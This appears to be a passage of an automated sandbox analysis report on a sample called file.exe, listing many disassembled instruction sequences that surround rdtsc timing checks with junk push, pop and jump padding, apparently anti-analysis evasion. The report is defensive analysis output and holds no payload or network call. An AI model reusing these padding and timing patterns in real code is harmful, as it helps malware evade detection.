Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22096 second address: A220AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A221F7 second address: A221FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A221FB second address: A221FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A221FF second address: A22205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22205 second address: A22211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22211 second address: A22215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28A8F second address: A28AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFCCB59A5h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28AAF second address: A28AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28C3F second address: A28C49 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBCFCCB5996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28C49 second address: A28C75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007FBCFC6B7936h 0x0000000b jmp 00007FBCFC6B7945h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jnp 00007FBCFC6B793Eh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28C75 second address: A28C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBCFCCB599Dh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28DFE second address: A28E0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBCFC6B7936h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28E0A second address: A28E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B413 second address: A2B43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBCFC6B793Eh 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FBCFC6B793Fh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99BC49 second address: 99BC4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99BC4E second address: 99BC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3220E second address: A32218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBCFCCB5996h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32218 second address: A32222 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBCFC6B7936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A32222 second address: A32240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB59A3h 0x00000007 pushad 0x00000008 je 00007FBCFCCB5996h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 998821 second address: 998826 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3196E second address: A3197D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3197D second address: A3198F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jg 00007FBCFC6B7936h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31EFC second address: A31F02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31F02 second address: A31F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B7948h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31F1E second address: A31F43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A0h 0x00000009 jmp 00007FBCFCCB59A1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31F43 second address: A31F47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A31F47 second address: A31F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A362A8 second address: A362AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A362AE second address: A362C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FBCFCCB5996h 0x0000000a jmp 00007FBCFCCB59A0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A368BF second address: A368C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36BE1 second address: A36C08 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FBCFCCB59AFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36C08 second address: A36C0D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CA39 second address: A3CA3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3CA3F second address: A3CA43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B314 second address: A3B31E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBCFCCB5996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B5D3 second address: A3B5E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FBCFC6B793Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B5E7 second address: A3B602 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007FBCFCCB599Bh 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007FBCFCCB5996h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B602 second address: A3B631 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7941h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jp 00007FBCFC6B793Ch 0x00000018 pushad 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B75E second address: A3B783 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBCFCCB5996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FBCFCCB59A5h 0x00000010 push esi 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B8D4 second address: A3B8E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FBCFC6B793Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3B8E4 second address: A3B8E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8854 second address: 9D8859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8859 second address: 9D8872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BBA4 second address: A3BBC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7946h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FBCFC6B793Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BBC6 second address: A3BBD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jno 00007FBCFCCB5996h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3BBD6 second address: A3BBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44EAE second address: A44ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFCCB59A7h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44ECA second address: A44EEF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B793Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FBCFC6B7943h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44EEF second address: A44F00 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44F00 second address: A44F04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44F04 second address: A44F14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FBCFCCB5996h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44F14 second address: A44F18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42E99 second address: A42ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FBCFCCB5996h 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f jne 00007FBCFCCB5998h 0x00000015 jmp 00007FBCFCCB599Ah 0x0000001a push ebx 0x0000001b push esi 0x0000001c pop esi 0x0000001d jmp 00007FBCFCCB59A2h 0x00000022 pop ebx 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42ED7 second address: A42EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A42EDB second address: A42EF7 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBCFCCB5996h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FBCFCCB59A0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43D51 second address: A43D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44090 second address: A44096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44096 second address: A440A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A440A1 second address: A440BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFCCB59A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A440BC second address: A440DD instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBCFC6B7936h 0x00000008 jmp 00007FBCFC6B7947h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BE6 second address: A44BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A44BEC second address: A44BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48EF0 second address: A48F00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48F00 second address: A48F10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFC6B793Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48F10 second address: A48F28 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBCFCCB5996h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jne 00007FBCFCCB5996h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4811A second address: A4811E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4811E second address: A48122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48122 second address: A4814A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBCFC6B7944h 0x0000000c je 00007FBCFC6B7936h 0x00000012 jnl 00007FBCFC6B7936h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4814A second address: A48164 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FBCFCCB59A2h 0x00000012 ja 00007FBCFCCB5996h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48164 second address: A48175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBCFC6B793Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4860B second address: A4860F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4860F second address: A4862C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7945h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4862C second address: A48630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48630 second address: A48647 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7943h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48647 second address: A48672 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FBCFCCB59A6h 0x00000010 pushad 0x00000011 popad 0x00000012 jng 00007FBCFCCB5996h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A487E2 second address: A48800 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7949h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48800 second address: A48806 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55244 second address: A55248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55248 second address: A55258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007FBCFCCB5996h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55258 second address: A5525E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5525E second address: A55271 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFCCB599Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55584 second address: A5558E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FBCFC6B7936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5558E second address: A55592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55592 second address: A55598 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55598 second address: A555B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55746 second address: A55751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55751 second address: A55755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55755 second address: A55760 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55760 second address: A55766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A558D5 second address: A558D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A558D9 second address: A55905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBCFCCB59A7h 0x00000009 jmp 00007FBCFCCB59A1h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55BFC second address: A55C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55C00 second address: A55C06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55D46 second address: A55D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A55EB0 second address: A55EB5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5675D second address: A56787 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBCFC6B7949h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FBCFC6B7936h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A56787 second address: A5678F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5678F second address: A5679F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 je 00007FBCFC6B7936h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5679F second address: A567A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A567A5 second address: A567A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A54D00 second address: A54D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B063 second address: A5B08A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBCFC6B7936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FBCFC6B793Eh 0x00000010 pop edx 0x00000011 jng 00007FBCFC6B797Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007FBCFC6B7936h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DD86 second address: A5DD8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5DD8B second address: A5DD95 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBCFC6B793Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
